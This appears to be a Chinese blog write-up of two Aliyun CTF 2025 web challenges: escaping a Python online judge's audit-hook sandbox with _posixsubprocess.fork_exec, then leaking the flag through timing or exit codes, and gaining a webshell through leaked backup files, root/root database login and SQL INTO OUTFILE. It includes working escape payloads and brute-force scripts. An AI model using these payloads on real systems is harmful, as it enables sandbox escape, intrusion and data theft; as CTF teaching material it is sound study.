阿里云CTF2025 ---Web

ezoj

啊?怎么整个五个算法题给CTF选手做??这我不得不展示一下真正的技术把测评机打穿。

可以看到源码

python 复制代码
import os
import subprocess
import uuid
import json
from flask import Flask, request, jsonify, send_file
from pathlib import Path

app = Flask(__name__)

SUBMISSIONS_PATH = Path("./submissions")
PROBLEMS_PATH = Path("./problems")

SUBMISSIONS_PATH.mkdir(parents=True, exist_ok=True)

CODE_TEMPLATE = """
import sys
import math
import collections
import queue
import heapq
import bisect

def audit_checker(event,args):
    if not event in ["import","time.sleep","builtins.input","builtins.input/result"]:
        raise RuntimeError

sys.addaudithook(audit_checker)

"""

class OJTimeLimitExceed(Exception):
    pass

class OJRuntimeError(Exception):
    pass

@app.route("/")
def index():
    return send_file("static/index.html")

@app.route("/source")
def source():
    return send_file("server.py")

@app.route("/api/problems")
def list_problems():
    problems_dir = PROBLEMS_PATH
    problems = []
    for problem in problems_dir.iterdir():
        problem_config_file = problem / "problem.json"
        if not problem_config_file.exists():
            continue

        problem_config = json.load(problem_config_file.open("r"))
        problem = {
            "problem_id": problem.name,
            "name": problem_config["name"],
            "description": problem_config["description"],
        }
        problems.append(problem)

    problems = sorted(problems, key=lambda x: x["problem_id"])

    problems = {"problems": problems}
    return jsonify(problems), 200

@app.route("/api/submit", methods=["POST"])
def submit_code():
    try:
        data = request.get_json()
        code = data.get("code")
        problem_id = data.get("problem_id")

        if code is None or problem_id is None:
            return (
                jsonify({"status": "ER", "message": "Missing 'code' or 'problem_id'"}),
                400,
            )

        problem_id = str(int(problem_id))
        problem_dir = PROBLEMS_PATH / problem_id
        if not problem_dir.exists():
            return (
                jsonify(
                    {"status": "ER", "message": f"Problem ID {problem_id} not found!"}
                ),
                404,
            )

        code_filename = SUBMISSIONS_PATH / f"submission_{uuid.uuid4()}.py"
        with open(code_filename, "w") as code_file:
            code = CODE_TEMPLATE + code
            code_file.write(code)

        result = judge(code_filename, problem_dir)

        code_filename.unlink()

        return jsonify(result)

    except Exception as e:
        return jsonify({"status": "ER", "message": str(e)}), 500

def judge(code_filename, problem_dir):
    test_files = sorted(problem_dir.glob("*.input"))
    total_tests = len(test_files)
    passed_tests = 0

    try:
        for test_file in test_files:
            input_file = test_file
            expected_output_file = problem_dir / f"{test_file.stem}.output"

            if not expected_output_file.exists():
                continue

            case_passed = run_code(code_filename, input_file, expected_output_file)

            if case_passed:
                passed_tests += 1

        if passed_tests == total_tests:
            return {"status": "AC", "message": f"Accepted"}
        else:
            return {
                "status": "WA",
                "message": f"Wrang Answer: pass({passed_tests}/{total_tests})",
            }
    except OJRuntimeError as e:
        return {"status": "RE", "message": f"Runtime Error: ret={e.args[0]}"}
    except OJTimeLimitExceed:
        return {"status": "TLE", "message": "Time Limit Exceed"}

def run_code(code_filename, input_file, expected_output_file):
    with open(input_file, "r") as infile, open(
        expected_output_file, "r"
    ) as expected_output:
        expected_output_content = expected_output.read().strip()

        process = subprocess.Popen(
            ["python3", code_filename],
            stdin=infile,
            stdout=subprocess.PIPE,
            stderr=subprocess.PIPE,
            text=True,
        )

        try:
            stdout, stderr = process.communicate(timeout=5)
        except subprocess.TimeoutExpired:
            process.kill()
            raise OJTimeLimitExceed

        if process.returncode != 0:
            raise OJRuntimeError(process.returncode)

        if stdout.strip() == expected_output_content:
            return True
        else:
            return False

if __name__ == "__main__":
    app.run(host="0.0.0.0", port=5000)

关键代码:

php 复制代码
def audit_checker(event,args):
    if not event in ["import","time.sleep","builtins.input","builtins.input/result"]:
        raise RuntimeError

sys.addaudithook(audit_checker)

设置了白名单,只允许调用这几个事件

而我们写入的python代码也会拼接到这下面去执行, 如果不在这几个白名单里面就会直接 raise RuntimeError, 而常规的那些想要执行系统命令的函数都不在这几个白名单里面, 所以需要绕过sys.addaudithook(audit_checker)

可以参照这篇文章

https://dummykitty.github.io/python/2023/05/30/pyjail-bypass-07-%E7%BB%95%E8%BF%87-audit-hook.html

构造使用python的系统底层函数 _posixsubprocess 创建子进程进行命令执行

_posixsubprocess.fork_exec 是 CPython 内部实现子进程的底层函数,属于 未暴露给标准审计事件 的底层调用。它直接通过系统调用(如 fork 和 execve)操作,绕过了高层抽象(如 subprocess 模块),因此不会触发类似 "subprocess.Popen" 的审计事件。

构造的payload:

python 复制代码
import os
import _posixsubprocess
_posixsubprocess.fork_exec([b"/bin/cat","/etc/passwd"], [b"/bin/cat"], True, (), None, None, -1, -1, -1, -1, -1, -1, *(os.pipe()), False, False,False, None, None, None, -1, None, False)

本地尝试运行一下

python 复制代码
import sys
import math
import collections
import queue
import heapq
import bisect

def audit_checker(event,args):
    print(f'[+] {event}, {args}')
    if not event in ["import","time.sleep","builtins.input","builtins.input/result"]:
        raise RuntimeError('Operation not permitted: {}'.format(event))

sys.addaudithook(audit_checker)

import os
import _posixsubprocess

_posixsubprocess.fork_exec([b"/bin/cat","/etc/passwd"], [b"/bin/cat"], True, (), None, None, -1, -1, -1, -1, -1, -1, *(os.pipe()), False, False,False, None, None, None, -1, None, False)

确实没有触发到RuntimeError , 可以执行命令 ,但是因为环境是无回显的, 无法看到执行的命令的结果

刚开始第一个想法是想要将回显的结果写入到 /app/server.py 文件里面

因为这个文件可以通过 /source 路由查看, 但是一直没成功

以为是命令啥的有错误, 但是本地试了一下命令是没问题的, 可以写入文件, 可能题目是没有权限写吧, 所以一直没成功

python 复制代码
_posixsubprocess.fork_exec(
    [b"/bin/sh", "-c", b"/bin/ls / > 1.txt"],
    [b"/bin/sh"], True, (), None, None, -1, -1, -1, -1, -1, -1,
    *(os.pipe()), False, False, False, None, None, None, -1, None, False
)

后面又想是不是可以尝试时间盲注

就先让AI简单的写一下进行测试

php 复制代码
import _posixsubprocess
import os

# 泄露/etc/passwd第一个字符是否为'r'(ASCII 114)
command = b"""
if [ $(head -c1 /etc/passwd | od -An -t u1) -eq 114 ]; then
    sleep 5
fi
"""
_posixsubprocess.fork_exec(
    [b"/bin/sh", "-c", command],
    [b"/bin/sh"], True, (), None, None, -1, -1, -1, -1, -1, -1,
    *(os.pipe()), False, False, False, None, None, None, -1, None, False
)

可以发现程序超时了, 进过几次尝试可以发现确实存在一个时间盲注的问题
然后就尝试跑一下看看/flag的情况

python 复制代码
import _posixsubprocess
import os
command = b"""
if [ $(head -c1 /flag | od -An -t u1) -eq 97 ]; then
    sleep 5
fi
"""
_posixsubprocess.fork_exec(
    [b"/bin/sh", "-c", command],
    [b"/bin/sh"], True, (), None, None, -1, -1, -1, -1, -1, -1,
    *(os.pipe()), False, False, False, None, None, None, -1, None, False
)

试了好多次都发现没有用, 所以我当时就以为是不存在/flag这个文件, 它应该是改了名字所以就没做下去了

看完wp后发现还可以用通配符来着, 当时给忘了, 有点蠢了

来自星盟团队的wp

python 复制代码
import requests
from requests.exceptions import Timeout

# 配置常量
TARGET_URL = "url/api/submit"
HEADERS = {"Content-Type": "application/json"}
TIMEOUT_LIMIT = 5
CHAR_SET = "qwertyuiopasdfghjklzxcvbnm1234567890{}-"
SLEEP_DURATION = 10  # 用于触发超时的睡眠时间

class FlagBruteforcer:
    def __init__(self):
        self.session = requests.Session()
        self.flag = ""
    
    def _generate_payload(self, char: str) -> str:
        """构造盲注payload"""
        position = len(self.flag) + 1
        return (
            f"if [ $(cat /f* | cut -c {position}) = '{char}' ]; "
            f"then sleep {SLEEP_DURATION}; fi"
        )
    
    def _build_exploit_code(self, payload: str) -> dict:
        """构造包含payload的请求体"""
        return {
            "code": f"""import os
import _posixsubprocess
_posixsubprocess.fork_exec(
    [b"/bin/bash", b"-c", b"{payload}"],
    [b"/bin/bash"],
    True,
    (), None, None, -1, -1, -1, -1, -1, -1, *os.pipe(),
    False, False, False, None, None, None, -1, None, False
)
input_str = input()
a, b = map(int, input_str.split())
print(a - b)""",
            "problem_id": "0"
        }
    
    def _test_character(self, char: str) -> bool:
        """测试单个字符并返回是否触发超时"""
        payload = self._generate_payload(char)
        json_data = self._build_exploit_code(payload)
        
        try:
            response = self.session.post(
                TARGET_URL,
                headers=HEADERS,
                json=json_data,
                timeout=TIMEOUT_LIMIT
            )
            print(f"Response: {response.text}")
            return False
        except Timeout:
            return True
    
    def run(self):
        """主爆破逻辑"""
        while True:
            found = False
            print(f"Current progress: {self.flag}|")
            
            for char in CHAR_SET:
                print(f"Testing: {self.flag}{char}")
                
                if self._test_character(char):
                    self.flag += char
                    found = True
                    print(f"MATCH! Current flag: {self.flag}")
                    break
            
            if not found:
                print(f"flag: {self.flag}")
                break

if __name__ == "__main__":
    bruteforcer = FlagBruteforcer()
    bruteforcer.run()

来自官方的wp:

python 复制代码
import requests

URL = "http://121.41.238.106:59529/api/submit"
CODE_TEMPLATE = """
import _posixsubprocess
import os
import time
import sys

std_pipe = os.pipe()
err_pipe = os.pipe()

_posixsubprocess.fork_exec(
    (b"/bin/bash", b"-c", b"ls /"),
    [b"/bin/bash"],
    True,
    (),
    None,
    None,
    -1,
    -1,
    -1,
    std_pipe[1],  # c2pwrite
    -1,
    -1,
    *(err_pipe),
    False,
    False,
    False,
    None,
    None,
    None,
    -1,
    None,
    False,
)

time.sleep(0.1)
content = os.read(std_pipe[0], 1024)
content_len = len(content)

if {loc} < content_len:
    sys.exit(content[{loc}])
else:
    sys.exit(255)
"""

command = "ls /"
received = ""

for i in range(254):
    code = CODE_TEMPLATE.format(loc=i, command=command)
    data = {"problem_id": 0, "code": code}
    resp = requests.post(URL, json=data)
    resp_data = resp.json()
    assert resp_data["status"] == "RE"

    ret_loc = resp_data["message"].find("ret=")
    ret_code = resp_data["message"][ret_loc + 4:]

    if ret_code == "255":
        break

    received += chr(int(ret_code))
    print(received)

打卡OK

没写好的系统怎么会打卡ok呢~

访问题目给的地址就自动跳转到了一个登录页面
不太可能会是弱口令能登录进去的, code也不知道是啥

用dirsearch扫描一下

可以发现一个/adminer_481.php路由

(开始字典里面没有这个, 看完wp后手动加上去的,嘿嘿)

访问这个路由可以发现是一个数据库的登录页面

直接弱口令 root / root 可以登录进去

可以执行sql语句, 利用into outfile 写入shell到网站上去

访问写入的shell.php , 执行命令拿到flag

这道题目在用dirsearch扫描的时候可以扫到一个 index.php~, 访问之后可以看到源码, 就可以基于这个尝试login.php~ 发现也可以拿到源码, 里面有数据库的账号密码

然后读一下index.php

php 复制代码
<?php
    session_start();
    if($_SESSION['login']!=1){
        echo "<script>alert(\\"Please login!\\");window.location.href=\\"./login.php\\";</script>";
        return ;
    }
?>
<!doctype html>
<html lang="en">
<head>
    <meta charset="utf-8">
    <title>鎵撳崱绯荤粺</title>
    <meta name="keywords" content="HTML5 Template">
    <meta name="description" content="Forum - Responsive HTML5 Template">
    <meta name="author" content="Forum">
    <link rel="shortcut icon" href="favicon/favicon.ico">
    <meta name="format-detection" content="telephone=no">
    <meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no">
    <link rel="stylesheet" href="css/style.css">
</head>
<body>
<!-- tt-mobile menu -->
<nav class="panel-menu" id="mobile-menu">
    <ul>

    </ul>
    <div class="mm-navbtn-names">
        <div class="mm-closebtn">
            Close
            <div class="tt-icon">
                <svg>
                  <use xlink:href="#icon-cancel"></use>
                </svg>
            </div>
        </div>
        <div class="mm-backbtn">Back</div>
    </div>
</nav>

<main id="tt-pageContent">
    <div class="container">
        <div class="tt-wrapper-inner">
            <h1 class="tt-title-border">
                琛ュ崱绯荤粺
            </h1>
            <form class="form-default form-create-topic" action="./index.php" method="POST">
                <div class="form-group">
                    <label for="inputTopicTitle">濮撳悕</label>
                    <div class="tt-value-wrapper">
                        <input type="text" name="username" class="form-control" id="inputTopicTitle" placeholder="<?php echo $_SESSION['username'];?>">
                    </div>
                    
                </div>

                <div class="pt-editor">
                    <h6 class="pt-title">琛ュ崱鍘熷洜</h6>
                    
                    <div class="form-group">
                        <textarea name="reason" class="form-control" rows="5" placeholder="Lets get started"></textarea>
                    </div>
                    
                     <div class="row">
                        <div class="col-auto ml-md-auto">
                            <button class="btn btn-secondary btn-width-lg">鎻愪氦</button>
                        </div>
                    </div>
                </div>
            </form>
        </div>
       
    </div>
</main>
</body>
</html>
<?php
include './cache.php';
$check=new checkin();
if(isset($_POST['reason'])){
    if(isset($_GET['debug_buka']))
    {
        $time=date($_GET['debug_buka']);
    }else{
        $time=date("Y-m-d H:i:s");
    }
    $arraya=serialize(array("name"=>$_SESSION['username'],"reason"=>$_POST['reason'],"time"=>$time,"background"=>"ok"));
    $check->writec($_SESSION['username'].'-'.date("Y-m-d"),$arraya);
}
if(isset($_GET['check'])){
    $cachefile = '/var/www/html/cache/' . $_SESSION['username'].'-'.date("Y-m-d"). '.php';
    if (is_file($cachefile)) {
        $data=file_get_contents($cachefile);
        $checkdata = unserialize(str_replace("<?php exit;//", '', $data));
        $check="/var/www/html/".$checkdata['background'].".php";
        include "$check";
    }else{
        include 'error.php';
    }
}
?>

审计一下这个代码可以发现 "background"=>"ok"
$check="/var/www/html/".$checkdata['background'].".php";

所以也存在一个ok.php

再看这个 ok.php~就可以拿到/adminer_481.php路由了

参考文章

复制代码
https://www.ctfiot.com/229032.html
https://blog.xmcve.com/2025/02/25/%E9%98%BF%E9%87%8C%E4%BA%91CTF2025-Writeup/
相关推荐
一方~8 小时前
XML语言
xml·java·web
互联网搬砖老肖8 小时前
Web 架构之数据读写分离
前端·架构·web
小芝麻咿呀20 小时前
websocketd 10秒教程
websocket·web
忧虑的乌龟蛋5 天前
Qt实现网页内嵌
qt·web·msvc·网页·网页内嵌·qt界面·webenginewidget
越来越无动于衷10 天前
java web 过滤器
java·开发语言·servlet·web
90后小陈老师10 天前
WebXR教学 06 项目4 跳跃小游戏
3d·web·js
nuc-12711 天前
[ACTF2020 新生赛]BackupFile题解
web·ctf
ZZZKKKRTSAE12 天前
快速上手Linux的Web服务器的部署及优化
linux·运维·服务器·web
GeekABC12 天前
FastAPI系列06:FastAPI响应(Response)
开发语言·python·fastapi·web
一只程序烽.12 天前
err: Error: Request failed with status code 400
java·axios·web